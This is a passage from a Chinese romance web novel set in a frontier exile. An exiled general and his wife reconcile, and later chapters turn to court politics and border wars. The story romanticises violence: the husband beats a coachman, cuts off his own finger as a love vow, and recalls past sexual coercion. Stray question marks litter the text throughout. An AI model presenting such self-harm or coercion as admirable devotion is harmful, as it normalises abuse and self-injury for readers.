说到此处,沈棠宁指了指自己的头,歉疚道:“他脑子从小就?不好使,一发疯就?要打人,你?别往心里去。” 只见这车夫是鼻青脸肿,嘴歪眼斜,早被吓得一佛出世二佛升天,哪里还敢去计较谢瞻是真疯还是假傻,哆哆嗦嗦拿了沈棠宁的首饰便爬上了马车。 生怕晚一步谢瞻再来揍他,驾着马车逃命也似的飞跑了。 “都散了散了,有什?么好看的!” 杨氏把人群都驱散了,赶紧搀扶着沈棠宁进了屋,把她扶到床上躺下。 离开时,谢瞻也从门口走了进来。 刚谢瞻那股打人的凶狠阴冷劲儿?,可谓命也不要似的,常言道不怕硬的,就?怕横的,不怕横的,就?怕不要命的。 光是看着杨氏心里都犯憷,躲了他老?远道:“二郎,那个夫妻俩,呃……有话?好好说,好好说,千万别再动手了!” 说罢也不敢多耽,飞快地走了。 谢瞻掩好门,慢吞吞挪到床边。 沈棠宁盖着被子,背对?谢瞻而躺。 谢瞻也知道自己是闯了祸。 其实当他看见沈棠宁一瘸一拐,虚弱地被杨氏搀扶进屋的时候,就?什?么都明白?了。 是他关心则乱,误以为车夫欺负了沈棠宁,一时控制不住自己,当着她的面把那车夫狠揍了一顿。 没错,他只觉得自己当着沈棠宁的面发疯,惹得她生气这事儿?自己做错了。 即便是现在,他心里依旧觉得那个车夫欠揍,若不是沈棠宁阻拦,他定要将那车夫两只手都打断,再也做不出那等下作之举。 谢瞻打了桶井水,倒进锅里,给沈棠宁生火烧水喝。 沈棠宁没来之前,谢瞻日子过得十分糊弄,称得上是得过且过。 喝冷水,睡冷炕,有饭就?吃一口,没饭就?饿着,有一天混一天的活。 可是沈棠宁不同,他不能叫她喝冷水。 水很?快温热了,他用舀子舀出一碗,端到屋里。 “渴吗?” 他问?,声音里带着几分讨好和?悻悻然。 沈棠宁一语不发。 “水快要凉了。”他又说。 依旧没有回应。 “我看你?脚也受伤了,我给你?上药?” “……” 谢瞻走到炕沿,放下水碗,试图掀开被子查看她的伤势。 然而刚一碰那被子,沈棠宁就?踢开了他的手。 谢瞻就?有些讪讪地。 屋内,静得只有屋外大?风偶尔拍打窗棂的响动,以及谢瞻粗沉的呼吸声。 谢瞻不知道他站了多久,站到他的双脚都僵麻了,水也彻底冷了。 他终于开始意识到,或许沈棠宁生气不理睬他,并不仅仅是因为他打了那个车夫。 他望着沈棠宁后背如?瀑的长?发,默默凝视着。 片刻,低声说道:“团儿?,我知道你?怨我骗你?,我送你?离开,只是不想你?以后后悔,我谢瞻今日已是一无所?有,孑然一身,死不过一条命耳。可你?不一样?,你?还有亲人,还有我们的女儿?……我希望你?能好好地活着,平安顺意地过完一生,将圆儿?抚养长?大?。” “如?果你?是因为对?我愧疚,才执意想留下陪我,那么我并不需要这份怜悯,一切所?作所?为,都是我自己的选择,即使没有你?,没有与契国的和?谈,想要构陷我的奸人,同样?也不会放过我,而倘若与契国结盟便能尽快地平定叛乱,我想如?果再重来一次,我也依旧会做同样?的选择。” “唯一令我感到日夜良心不安的,便是那些因我而枉死的无辜将士,他们终究是没有活到胜利的那一刻。如?果你?觉得我从前救了你?,你?想报答我的救命之恩,那我告诉你?那些都是我的自愿之举,我从不需要你?来回报我。如?果你?是觉得我可怜……” 他顿了一下,嘴角噙起一抹说不上是苦涩还是自嘲的笑。 “天下谁人不可怜,我不过芸芸众生其中之一罢了,那些因我枉死的将士,他们更加可怜,我今日所?遭受的刑狱之苦,是为了偿还我心中的罪孽,理所?当然,这些又与你?何干?” “你?说完了?” 她声音冷冷地传过来。 “说完了。” 沈棠宁坐起身来,也看着他。 两人正对?着,明明谢瞻是站着,显得更为高大?,但在沈棠宁面前,他却好像底气不足似的。 两人只对?视了几息的功夫,他便仓促地移开了自己的视线。 沈棠宁凉凉一笑,“你?谢将军当真是大?公无私,舍生取义,口口声声是为了我好,为了那些冤死的将士,倘若我此时再反驳你?一句,都成了不识抬举的罪人一般!” 谢瞻无奈道:“团儿?,我不是这个意思……” 沈棠宁打断他,“我不管你?是什?么意思,我现在只问?你?一句话?,谢临远,你?还要不要赶我走?” 谢瞻沉默。 “明天我再送你?离开。” 烛火忽地“吡呲”一声,炸开一道烛花,两人投射在墙壁上的剪影也晃动了一下。 沈棠宁看着谢瞻,眼眶渐渐红了。 这半年来所?有的绝望与满腹的委屈,牢骚,好似在一瞬之间都涌了上来。 尤其是看着他那张分外冷静绝情的面庞,那口气就?这么不上不下地堵在了沈棠宁的胸臆之间。 路途漫漫,越近辽东天气愈发严寒,当她缩在马车之中被冻得手脚俱冷,一次次昏睡,发着高热瑟瑟发抖的时候,她没有想过要哭。 当所?有人都劝她不要去辽东,当温氏求她留在她的身边,年幼的女儿?在她怀中哭泣的时候,她哭了,却又很?快擦干自己的眼泪。 是因为她觉得自己所?做的一切都是值得的。 为了妻子的责任也好,愧疚怜悯也好,救命之恩也罢,不论是哪一个原因,就?像对?温氏说的那样?,她不可能做到眼睁睁看着谢瞻去死。 她知道自己很?犟,所?以温氏也没有选择再去对?她横加阻拦,是,从小到大?,哪怕她遭人欺凌、讥讽、侮辱,伤心委屈地大?哭,最后也要打落牙齿往肚子里咽。 她绝不甘心自己的命如?此,就?算她卑微若蒲草,可旁人越是轻贱她,她就?越是要活得坚强,活得更好,即使是流着泪也要把自己选的路走下去。 沈棠宁不想哭,她抬起头,把眼泪硬生生憋回去。下炕打开自己的其中一只箱笼,从里面取出个用油布包裹的物件,当着谢瞻的面一层层解开油布。 谢瞻脸色已经变了。 他隐隐猜到了沈棠宁想做什?么,却又无法?去阻止。 沈棠宁既然敢当着他的面打开,说明里面的东西她早就?看过了。 自己的私密物件被现于人前的那种尴尬,窘迫,以及有所?预料却又猝不及防的羞耻和??*羞愧,使得他的整个脸庞火辣辣得烫了起来。 油布上,只放着两个物件。 一条女子用的绫帕,上面绣着两朵并蒂海棠小花儿?,并一只碎成两截的海棠花白?玉簪。 白?绫帕因接触空气日久,表面已泛黄,正常人都不会再使用,沈棠宁举起那条白?绫帕,问?谢瞻:“你?告诉我,我三年前丢失的帕子怎么会在你?的手里?” 原本,沈棠宁是不会记得自己这条丢了三年的绫帕。 恰巧,这条绫帕是她未出阁前绣了一半便丢在一旁,剩下的那一半绣样?是温氏帮她修补而成。 她十分喜欢这条她与母亲合绣的帕子,时常带在身边,见到这条帕子,就?仿佛母亲的音容笑貌仿佛还在眼前。 但这条帕子,三年前却在镇国公府中,某次她找寻丢失的小兔绵绵之时误失。 为此,她还一度沮丧了好久。 “一条帕子而已,你?我夫妻,我手里有条你?的帕子,有什?么稀奇!”谢瞻避开她的目光,说道。 话?虽如?此,然而沈棠宁的眼神,仿佛已将谢瞻里外看破,甚至让他心里生出羞恼之意。 是,他承认他那个时候就?对?沈棠宁含有一些难以言喻的情愫,她的一举一动都牵挂着他的肚肠。 她越是对?他不屑,他就?越是对?她好奇,表面上越是刻意表现出冷峻傲慢的姿态,甚至是欺负她,以此来吸引她的注意。 那条帕子,如?果他心里没鬼,早就?该扔了,那天却鬼使神差地被他掖到了怀里。 但那又能说明什?么? “那我已经碎掉了簪子,你?还留着做什?么?”沈棠宁又问?。 “我送你?的东西,自然想留便留,与你?何干?”谢瞻说得也是一派理直气壮,义正言辞。 沈棠宁怒极反笑,她把帕子直接甩到了谢瞻脸上。 “谢临远,我讨厌你?的自私自负,不过你?知道我最讨厌你?哪一点吗?我讨厌你?是个胆小鬼!我沈棠宁敢说我悦慕你?,为了你?,我愿意千里迢迢来到这个滴水成冰的苦寒之地,你?敢对?我这样?说吗?你?敢说你?每一次命都不要地救我,不是因为你?喜欢我!你?一次又一次地找借口推拒与我和?离,只是不想要我离开你?,你?明明每天晚上都想我想得要死,却还要对?我说这些绝情的话?来伤我的心!” “轰隆”一声。 谢瞻难以置信地看向沈棠宁。 我,悦慕,你?…… 在沈棠宁说出这两个字的时候,她口中剩下的话?他便已然聋了般听不到。 平日里他如?珍宝一样?贴身收在怀中的帕子,就?这么飘飘然,仿佛一只美丽的白?蝶从他面前飘落了下去。 第77章 沈棠宁走到?谢瞻的面前,仰头看着?他。 “我再问你?一句,你?还要不要我走?” 明烛下,她的一双杏眼亮得惊人,宛如?今夜的湛湛月色。 看着?她的眼睛,谢瞻清楚地听到?了?自?己“砰砰”跳动的,乱了?节拍的心跳声。 他感觉到?一股前所未有?的眩晕和不真实感冲昏了?他的头脑。 她怎么会喜欢他呢。 可,她亲口说?她悦慕他呢…… 谢瞻伸出手,怔怔地抚摸她美丽的脸庞。 这仿佛只是?他做的一个美梦,天知道,曾经在他脑中有?无数次幻想过沈棠宁喜欢他。 不是?自?作多情,不是?他的一厢情愿。 哪怕一直到?现在,他也始终认为处暑那夜若不是?他利用了?她的心软,威逼利诱,强占了?她的身子,或许她根本不会答应做他的妻子。 他远比宗瑁和萧砚要更无耻,更卑鄙。 甚至是?强占她的身子这种事,他竟还不止做过一次…… 她,她怎么会喜欢他这样无耻又自?私自?负的男人呢? 可是?,他又多怕梦一旦醒来,他会真的一无所有?,连她也失去了?…… 谢瞻已经是?个废人,他已经一无所有?,不再是?曾经的天之骄子,能够配的上她的谢临远。 如?果不是?因为隆德帝一念的心慈手软,今日的他便是?落得个身死族灭的下场。 他死便死了?,何?苦还要再牵累无辜的沈棠宁? 念及此,谢瞻强迫自?己收回手去,也不敢再去看沈棠宁的眼睛。 “别犯傻了?,我早就说?过,你?这样无趣的女?人我不感兴趣,这一切不过你?自?己自?作多情。何?况我这一辈子,狂悖无礼,生死由命,用不着?任何?人来同情!” 掌心深处仿佛还残留着?她面上柔腻的余温,然而放完狠话,他终究还是?忍不住又偷眼看了?回去,待看到?她眼中流下的哀伤又失望的泪水,他的心脏也如?同被人狠狠攥住一般酸疼难言,开始懊悔自?己说?的话是?否过于冷漠绝情。 沈棠宁抹去眼角的泪 她冷笑?着?道:“好,如?你?所愿,现在我便离开,从今往后不再来打搅你?!但我也告诉你?,谢临远,离开京都前,仲昀说?他愿意等我,哪怕等一辈子,他愿带我离开京都,我想去哪里便去哪里,我觉得他说?得对得很,易求无价宝,难得有?情郎,回去我便立即改嫁给他!” “不行!你?敢——我不允许,你?不准嫁!” 谢瞻闻言勃然色变,一把抓住她的肩怒道:“我看你?真是?昏了?头!你?嫁给七郎有?何?不好?难道我堂堂谢氏子弟,还比不上他萧仲昀一个懦弱又卑鄙的狗东西,当初他都能抛弃你?,你?竟然还敢信他!” 什么……什么嫁给七郎?!她与谢睿……? 沈棠宁险些被他气背过去,她指着?他,浑身颤抖。 “你?再胡说?八道……我和七郎一直清清白白,你?管我想嫁谁!好好,我知道了?,谢临远,现在我就滚!如?果今夜我离开了?这间屋子,哪怕日后你?用八抬大轿求我回去,我也绝不会再回头!” 她摘下脖颈上谢瞻赠她的玉牌,怒而甩到?谢瞻的脸上,将他使劲儿一推。 屋门被她撞开,寒风争先恐后地涌了?进来,而沈棠宁却顶着?风,不管不顾地就冲了?出去。 “宁宁!” 她身上穿着?单衣,腿脚也还受着?伤,谢瞻大吃一惊,连忙追过去从身后抱住她。 他心力交瘁,低低地,万分痛苦地叫道:“宁宁,别这样逼我好不好!” 沈棠宁一根根掰他的手指。 “放手!” 这样冷的天,黑的夜,谢瞻怎么可能放心地任由沈棠宁离开,她根本就是?在逼他做决定! 谢瞻咬着?牙,先深深吸了?一口气,试着?和她商量。 “三个月,你?就留下来三个月,到?时候我再送你?离开好不好?” “放手,你?放不放手!” 沈棠宁一脚踩在谢瞻的脚背上。 别看她人不重,劲儿却不小,盛怒之下,几乎是?使上了?吃奶的力气。 谢瞻疼得龇牙咧嘴,又拿她无可奈何?。 他怎么险些忘了?沈棠宁根本就不是?只任人宰割的兔子,当年她刚嫁进镇国公府,在府里孤身无援的情况下就敢公然和他叫板,哪怕泪流满面也要瞪着?他犟,硬是?不肯低头认错。 可他不就是?喜欢她这股表面柔弱,内心却不肯服输的倔强吗? 谢瞻咬着?后槽牙,脸上的青筋一根根爆了出来。 这半年算是?很大程度上磨炼了他的耐性,但此时此刻面对这样的沈棠宁,他便是?有?再好的耐心也告罄了?。 谢瞻猛地将沈棠宁的身子掰过来,气得地吼她道:“犟种!你就非要和我犟是不是?!你知不知道这里冬天有?多冷,你?待在这里会和我过什么样的日子?!朝不保夕,吃不饱、穿不暖,被人戳脊梁骨,永远都是低人一等的流犯之妻,没有?人再瞧得起你?,不知道何?年何?月才能有?出头之日,永远不知道死和明天哪个先来,如?果我一辈子都回不去,你难道要在跟我这里待一辈子?!” 沈棠宁眼里闪动着水光,极轻地说?:“富贵非我愿,帝乡不可期,荣华富贵我不羡。祸福相倚,岂失一死,我也不惧。阿瞻,从今往后,我们就在这里做一对平凡的夫妻,好吗?” 都道男儿有?泪不轻弹,可是?在这一刻,这个一向在战场上杀伐果断,自?负自?傲的男人,他的双目中也不觉泛上了?酸涩的湿意。 说?没有?感动那都是?假的。 一个女?人,愿意为他抛弃所有?,只身千里来追随,将自?己最青春美好的年华陪他虚耗在这片荒凉贫瘠的土地上。 而她本应该过着?优渥的生活,在镇江老?家为温氏养老?,是?他将无辜的她和女?儿卷入这场政斗之中。 他既心疼,又万分痛恨自?己的无能为力。 三年结发夫妻,三年里他都没有?真正把沈棠宁当做妻子好好地怜惜过,呵护过。 每一次,不是?在争吵争执,便是?在别离。 那时他年轻气盛,自?以为是?,当时只道是?寻常,如?今想来却唯有?懊悔,竟与她错过了?那么多欢乐的,本应珍惜的时光。 每一次的相聚,总是?那么地短暂。 在被流放到?宁远的三个月间,内心唯一还支撑他活下去的念想便是?她和女?儿。 每天晚上他都会失眠到?深夜,唯有?枕着?她的帕子方?能勉强入眠。 而在梦里,他时常会梦到?两人在平凉的那一个月,梦到?中秋夜两人手牵着?手一起泛舟柳湖上。梦到?她答应与他做夫妻的那一晚的月光有?多美,他有?多快活,梦到?大火之后她在他的怀里哭着?说?她在乎他…… 那是?大概是?他这一生中最快乐无忧的时光。 再次见到?沈棠宁,他已经从云端跌落到?了?尘埃里,高傲的自?尊使得他的内心无时不刻不在油锅中煎熬,却只能装作冷酷的模样赶她走。 然而,她亲口说?她悦慕他。 他曾苦苦地恋慕了?她整整三年,终于等来了?两个人心意相通的那一日。 从来没有?人给过他这般真挚,深沉,却又不求一丝回报的似水柔情。 微凉的风吹动着?屋门,将屋内的烛光摇晃地一闪一烁。 交错的光影投射在他如?悬胆般挺拔的鼻梁上,幽黑的双眸被映射地时而昏暗,时而明亮,他的双眉紧紧紧皱起,额头也沁出汗珠,似在挣扎抉择。 终于,谢瞻的双眉缓缓松开,深深地凝视着?沈棠宁,下定了?决心。 这一次,无论结果如?何?,他都不要再辜负他。 “好,宁宁,我都应你?,从今往后,我再不辜负你?,我们就做一对最平凡的夫妻。” 沈棠宁一喜,谁知下一刻,他竟忽地从怀中抽出一块锋利的铁片,对着?自?己的小指便以迅雷不及掩耳之势地削去。 她的笑?容凝滞在嘴角,鲜血也猝不及防溅洒到?她的身上。 沈棠宁先是?愣了?一下,而后尖叫起来,下意识捂住他血涌不止的小指。 “你?做什么,你?这是?做什么?!” 她吓坏了?,待看见自?己满手的鲜血,更是?崩溃地大哭,连忙到?地上去找那截掉落的断指。 谢瞻却强硬地将沈棠宁从地上拉了?起来。 “不必找了?,宁宁你?听我说?。” 谢瞻说?道:“这是?我欠你?的。我知道我不是?个好丈夫,我曾经也对你?说?了?许多违心难听的话,可你?从来都没有?真正地怨恨过我,我今日只想告诉你?,我从来没有?怀疑过你?的贞洁,我也根本不在乎什么贞洁。宁宁,今夜我用我的性命向你?发誓,从今往后,我谢瞻会一心一意对你?沈棠宁好,如?有?辜负,必遭天打雷劈,身首异处,永世不得起复!” “疯子,你?这个疯子!你?发誓便发誓,做什么要伤害自?己!” 沈棠宁半点也高兴不出来,恨恨地捶打着?谢瞻。 谢瞻脸上却浮现出笑?意。 他面不改色地将沈棠宁抱回床上,仿佛断掉的不是?指头,而只是?他的一个指甲盖儿。 沈棠宁到?底还是?将谢瞻的断指找了?回来,她的箱笼中带着?一些常备的药,又去杨氏家里借了?些烈酒,准备亲自?给谢瞻接上断指。 杨氏夫妇刚才就听两人在院子里争执不下,还十分担心,想过去探望,沈棠宁知道谢瞻骄傲,必不愿旁人看到?他脆弱之处,只好推搪说?是?谢瞻打架的时候伤到?了?,这才搪塞过去。 这两年她随军时跟着?军医学?习了?不少包扎缝合的方?法,技艺算不上炉火纯青,但简单的缝合断指还不成问题。 她先快速清洗了?断指,将针线工具都消过毒,才对着?灯开始缝合起来,一针一线,每一次扎进他的肉里,都仿佛是?扎在她的心上。 缝合完后,这样冷的天,她硬是?出了?一身的虚汗,抬眼一看谢瞻还坐在炕上看着?她笑?,沈棠宁气不打一处来,攘他一拳道:“你?还笑?,亏你?还笑?得出来!你?知不知道,这样偏僻的地方?,若是?我不会缝合,你?的这根指头还要不要了?!” “那就不要了?。”谢瞻说?。 沈棠宁瞪他一眼,再生气,还是?得帮他把伤口包扎好,却又担心明日谢瞻劳作的时候伤到?缝合处,前功尽弃,越想越愁。 谢瞻老?实认错道:“对不起宁宁,我错了?,以后我再不会这样吓你?了?。” “我是?气你?不爱惜自?己!” 沈棠宁到?底不舍得责备他,嗔他道。 “那以后我好好爱惜自?己,定不再惹你?伤心生气!”谢瞻立即保证。 两人相拥着?抱了?片刻,谢瞻低下头,她红红的唇微微撅着?,显然还有?些闹脾气。 他试探着?吮住沈棠宁的唇瓣。 虽然他嘴上认错了?,沈棠宁仍是?气恼他这几日的冷漠无情,便闭紧了?牙关,故意不叫他亲近。 谢瞻触到?她的牙齿,迟疑了?下,再次尝试,依旧吃了?闭门羹。 接下来,他很聪明地没有?直接探舌而入,而是?在她的唇瓣周围打着?转,一下一下轻柔地啄吻着?。 不带任何?的情.欲之色,也无唇齿交融的缠绵暧昧,仅做歉意的抚慰与温存。片刻,沈棠宁娇吁微微地软在他的胸膛上,闭目听着?胸口男人稳健有?力的心跳声。 “还疼不疼?”他忽低低问她。 沈棠宁的香腮就情不自?禁地飘上两团红晕,心里却暗暗着?恼。 昨天晚上,这混蛋险些没把她折腾死! 两人真正做夫妻的日子虽不长,但她与谢瞻在床笫之间,还算是?契合。 他有?时虽孟浪轻薄了?些,总想出些令她又羞又恼的手段,但若是?这些手段能令他快活欢喜,她心里也是?甘愿的。 何?况他也不全?然是?一心只顾自?己舒坦,大部分的情况下对她亦是?十分温柔体贴,照顾她的感受,沈棠宁又天生无法抗拒对她温柔小意的男子。 昨夜开始的时候她亦有?些情动,又怜惜他旷身日久,便忍着?羞耻几番柔情,任他狂纵,甚至放下身段主?动抚慰于他,一心想令他快活展颜。 后来她不免就吃力了?,不过强作精神撑着?。 到?最后他却依旧精力充沛,而她实在疲倦,不得已连声求饶,不知叫了?他多少遍的好哥哥好夫君,他都不为所动。 迷迷糊糊间她昏睡了?过去,连他何?时结束的都不知道,一觉醒来却发现自?己被送上了?马车,才知原来昨夜的痴缠缱绻都是?他缓兵之计,这岂能让她不伤心欲绝? 如?今想来,想必那时谢瞻就打定了?主?意要将她送走,晚上不过是?趁机折腾得她没了?力气和再他犟罢了?! “你?还说?,疼,疼死了?!都怪你?!你?真坏死了?!” 粉拳雨点般捶打在他的身上,那点子力气自?然是?不疼的,因她的语气中带着?几分小女?儿的娇态,这话说?出来不像是?责备,反倒像是?在打情骂俏了?。 “我的错,都怪我,都怪我。” 谢瞻亲了?下她的手背,亲罢,却顿了?一下,诚恳而疑惑地道:“我问的是?你?的脚怎么扭伤了?,你?说?的是?哪里?难道是?还有?别处?” 怎么能没有?别处! 沈棠宁坐起来瞪着?谢瞻,红着?脸欲言又止。 直到?看见他脸上藏着?的那一丝微微的戏谑,她终于后知后觉反应了?过来,这厮又在戏弄她! 谢瞻虽是?被打,脸上却一直在笑?着?,打不还手。 他一见到?沈棠宁娇憨可爱的样子,就忍不住想逗逗她。 “好了?好了?,都是?我的错。” 村子里杂草多,今早谢瞻去找蔡询借马车之前,便已在院子里采摘了?些消肿化?瘀的药草捣成泥膏,敷在沈棠宁身上。 剩下倒进一个小罐子里,放到?了?沈棠宁的香包里,只不过沈棠宁没有?发觉而已。 当时她一心回去找谢瞻算账,喝停了?马车,谁知从马车上下来时太过着?急,无意扭伤了?脚。 谢瞻脱去她的鞋袜,果见沈棠宁的脚踝处红肿得高高的,在她雪白细嫩的肌肤上显得尤为刺眼。 谢瞻心疼不已,依她言从箱子里找出红花药油等药,涂抹在沈棠宁脚踝的伤处。 药膏清凉,涂上后肿处便没那么难受了?。 其后谢瞻还提出要查看她伤的另一处,沈棠宁自?然如?何?也不肯再同意。 趁他出去端热水的功夫,她自?己盖上被子悄悄上了?药。 虽然身上又冷又疲倦,某些地方?还不大舒服,但是?她的心里是?踏实的。 半年来,这是?她第一次感觉如?此的踏实。 奔波了?整整一天,又是?争吵又是?崴脚扭伤,在谢瞻端着?热水进来后,才发现他的妻子已经累极蜷缩在被衾中沉沉睡去。 第二日一早沈棠宁惊醒过来,下意识地先摸了?一下身侧。 空空如?也,但被窝里仍然是?温热的。 她松了?口气。 还好,她还在家里。 想到?谢瞻已经走了?,看了?看时辰,果然,她睡到?太阳都出来了?,都怪她贪眠,不免心急自?责起来。 谢瞻手指受了?伤,她本来想拿些首饰和谢瞻一起去流民?营,看能不能求那里的差役让谢瞻在家里养养伤,等手指长好一些了?再去干活。 念及此,她忙起身穿衣,去箱笼中翻找出几件贵重的首饰包好,刚洗漱完毕准备出门,就听大门处传来一阵声响。 谢瞻回来了?! 沈棠宁从窗外一看是?他,又惊又喜,连忙开门。 “阿瞻,你?怎么回来了?!” 软玉温香的身子欢喜地扑上前抱住了?他。 谢瞻手里还提溜着?一只野鸡和几条滴着?水的鲜鱼,担心血水弄脏沈棠宁的衣摆,快步上前将她推进屋里道:“你?别出来,外面冷。” 进门将猎物放下,见沈棠宁只顾着?紧蹙眉头检查他手指的伤势,心里头一暖,握住她的手柔声解释道:“我没事,我早就不疼了?。今早我去服刑,班头看我手指上包着?纱布,便令我回家休息两日,伤好了?再去干活。” 这当真是?意外之喜了?,沈棠宁欣喜地道:“没想到?他们这般通情达理,阿瞻,下次你?去的时候一定要带些礼物过去感谢他们!” 谢瞻微微一笑?。 其实,那些差役当中早有?人认出了?他是?谁。 流民?营中差役的长官之首名为班头,宁远城中大河村与井水村两个村子流犯营的班头叫做丁振。 丁振平日里对谢瞻并无过多照拂,不过是?抽他鞭子的时候看似用力,实则没那么下狠手罢了?。 昨晚谢瞻几乎守着?沈棠宁一夜没睡,凌晨四更的时候带上斧头铁锤等物去了?附近的山上,砍树伐木制作了?一个陷阱,准备给沈棠宁猎些肉补身子。 因陷阱做完时辰还早,他便直接去了?羊山的流犯营点卯。 流犯营中有?规定,所有?流犯需要在每日旦夕时分按时点卯,不得有?差池延误,否则要笞三十杖,每月迟到?三次,累计迟到?十次以上,则要移交县衙处以重刑。 那时天蒙蒙亮,只有?丁振和一个小差役也提前到?了?。 见他手上包裹着?纱布,丁振问了?他一句,听说?他是?受伤了?,丁振给小差役使了?个眼色。 小差役离开后,丁振才走到?谢瞻面前叉手施礼,压低声音说?道:“谢将军,小人一介小吏,您恐怕不认识小人,小人痴长您十多岁,但在小人眼中,您是?一位真正的铁骨铮铮的汉子,小人绝不相信您会做出通敌叛国之举。” 说?至此处,丁振却叹了?一口气,又道:“先前袁公公走的时候也再三叮嘱,让小人切莫苛待了?您,谢将军您放心,只要您在宁远一日,小人必定护您周全?!只是?为防这营中另有?眼线,平日里小人不得不对您和众犯人们一视同仁,鞭打之时,还请您海涵谅解。” 话毕又请谢瞻先回去养几日伤,姿态毕恭毕敬。 谢瞻不想惹麻烦,拒绝了?。 奈何?丁振一再恳求,说?会给他找好借口,谢瞻便想着?今天刚好歇息一日,看看在家里能帮沈棠宁做些什么家用之物,也好过她总去找蔡询夫妇讨借。 遂谢过丁振,走了?。 家去之前,先去了?一趟羊山上自?己放置陷阱之处。 算是?他运气好,陷阱中掉进去一只稚鸡,他看天色还早,便又去河里叉了?三条大鱼。 二月末的辽东依旧很冷,地里的野菜都没长出叶子来,谢瞻只好挖了?些野菜根,带上鸡鱼,方?满载而归。 眼见纱布最后一层都透出了?血色,沈棠宁吸着?气小心拆开包扎在他小指上的纱布,才发现伤口不仅渗出了?不少血,看起来颇为狰狞,她全?程几乎是?皱着?眉给他重新清理了?伤口。 因为谢瞻不爱惜自?己,受了?伤还要去打猎叉鱼,并且在她责备他的时候脸上还表现出一副满不在乎的模样。 “你?再这样,以后休想我再理会你?!”沈棠宁生气地道。 见她当真露出怒色,谢瞻才意识到?事情的严重性,讪笑?着?一哂。 “我以后绝不这样了?。” 野鸡还没死,身上只是?受了?伤,谢瞻杀鸡的时候,他按着?鸡头,沈棠宁就忍着?恐惧在一边帮他把鸡固定在砧板上。 本来谢瞻可以一刀把鸡结果了?,为了?哄着?沈棠宁,两人足花费了?一个时辰才把鸡鱼都清理干净。 沈棠宁挑出最大的一条鲤鱼,先去送给了?杨氏。 这个天水里还冷得很,但鲤鱼肉质却十分得肥嫩,两人一番推辞后,杨氏眉开眼笑?地收下了?,回赠给沈棠宁一些她冬天时候腌的咸菜。 平民?百姓冬天没有?新鲜的菜叶吃,便只能提前在夏秋两季的时候腌好咸菜,以储备冬天的口粮。 杨氏给的一大桶咸菜,沈棠宁先前吃过,味道并不咸,反而味道十分脆爽开胃,足够沈棠宁和谢瞻两个人吃到?春暖花开了?。 至于鸡和剩下的两条鱼,沈棠宁则准备将一半的鸡和一小块鱼肉趁着?新鲜炖煮了?,其余的鲜肉便制作成鱼酢和鸡酢,腌制起来保存的时间能更长久。 午膳自?然便是?鲜鱼汤面与炒鸡块了?,鱼汤是?谢瞻做的,汤色浓白,味道也十分鲜美,谢瞻煮鱼汤的时候,沈棠宁就在一边擀面条。 虽皆是?些粗茶淡饭,却也是?这段时间以来两人吃过最满足的一顿了?。 晌午简单休息片刻,午后,趁着?天气还不冷,谢瞻把家里仅有?的几个桌椅都搬到?院子里修了?修,以求更加结实。 修完桌椅,接着?他发现原来家里还有?许多的活计: 譬如?为了?给妻子御寒,他要准备砍更多的柴火,为了?能让喜爱洁净的妻子在屋里洗上澡,他还需得劈做一只大浴桶。 以及给家里添置养一些鸡鸭,嗯……最好再种些菜蔬,这样妻子每天都能吃到?新鲜的肉菜…… 谢瞻一面在心里规划着?院子里何?处辟改成菜圃,何?处养鸡鸭,何?处再种上几棵沈棠宁喜欢的海棠花,一面劈砍着?柴火,不觉汗水顺着?脸庞大颗大颗地滑落了?下来。 忽然,鼻端有?淡淡的幽香袭来,打断了?他的念头。 谢瞻抬眼,眼底慢慢浮上一抹柔色。 夕阳西下,五彩的霞光落在沈棠宁的身上,纵使她身着?荆钗布衣,不施粉黛,素净的脸庞上却是?明眸皓齿,肤白胜雪,在这简陋狭仄的小屋里犹如?明珠般熠熠生辉。 她嘴角正噙着?浅浅的笑?意,俯下身用帕子替谢瞻轻轻拭去额头上的汗水。 “慢些,仔细伤了?手。” 风儿轻柔地吹拂过脸颊,吹散他脸上的热意。 墙角,一株嫩绿的枝桠正在吃力地冲破压在头上的泥土和砂石的阻碍,在寒风中抖擞精神。 春天,这个万物复苏的季节,已在不知不觉中悄然来临。 …… 第78章 锦州位于大周朝的最北端,与东契接壤,属于边镇重地,但由于气候寒冷,各异族聚居,充军到此地的流犯亦众多,此地的政府辽东承宣布政使?司的官员们管理起来?便甚是头?疼。 而自半年前东契的老汗王冒鲁去?世?后,他的第十一个儿子延啜在?一片血雨腥风中继了汗王位。 此人野心勃勃,登基后便对国内进行了大刀阔斧的改革,不仅残杀了几位他年长的兄长与反对他登基的贵族势力?,重用出身低微的奴隶,且与周围各邦国异族结交,完全改变了他的老父亲冒鲁在?位时不与西契来?往过的国策 不久前延啜还派使?者前往西契,意图与西契联姻,迎娶察汗兰妃最宠爱的小女儿乌伦珠公主,只不过后来?此事不知为何不了了之。 当然,延啜此人绝非善类,冒鲁在?世?时与大周不算交好,却也算不上是交恶。 后来?冒鲁答应借兵帮助张元伦,也不过是因为见西契借兵周人,为了争口气和西契对着干罢了。 延啜继位后更加频繁地唆使?本国人南下侵略骚扰大周的边境,尤其是与东契仅有之隔的锦州首当其冲,每每东契人南下锦州的百姓苦不堪言。 当地的军政隶属辽东都司,都司最高长官为都指挥使?卢宝良,自从宗张叛乱之后,隆德帝为了防止各地节度使?拥兵自重,便废置了节度使?的一职,在?都指挥使?下设置总兵一职镇守巡视边区,总兵由皇帝直接委派,听从皇帝调遣。 前任辽东总兵李进在?位期间,东契人多次南下烧杀抢掠而不能禁止,当地百姓苦不堪言。 隆德帝一怒之下撸了李进的总兵一职,将他贬去?岭南为官。 李进被革职后,新任辽东总兵的周存便是在?这种情况下被赶鸭子上架,让隆德帝委派到了辽东。 原来?周存只是个文官,在?朝中担任御史,两年前首辅常俭致仕,次辅黄皓升为首辅,周存与黄皓的女婿素来?有隙,黄皓便在?隆德帝面前进谗言,说周存智勇双全,让周存去?顶替李进的辽东总兵职。 可?怜周存求到隆德帝面前说自己不是打仗的料,隆德帝嫌他烦,让余公公把他给“请”了出去?,命他即刻启程前往辽东。 周存无奈,只得收拾包裹走人。 他知道?,这次来?辽东便是掉进黄皓那个老东西挖好的坑儿里了,倘若此次他镇守辽东不利,隆德帝必定?不能留他,黄皓这招借刀杀人玩的着实高明,他却只能打掉牙齿和血吞。 黄皓和常俭不一样,常俭当首辅的时候是做了不少为国为民的好事,而黄皓趋炎附势,仅凭几句阿谀奉承的话就能同时哄得太子和隆德帝倚重,周存着实心中不平,这才祸从口出,与黄皓的女婿结下了梁子,如今算是悔之晚矣。 事已至此,多抱怨也是无益,来?到辽东之后周存便打起精神来?琢磨如何应对东契人。 只他到底是个书生?,压根儿就不是打仗的那块料,纸上谈兵容易,实战难,来?辽东的这半年间几乎是屡战屡败。 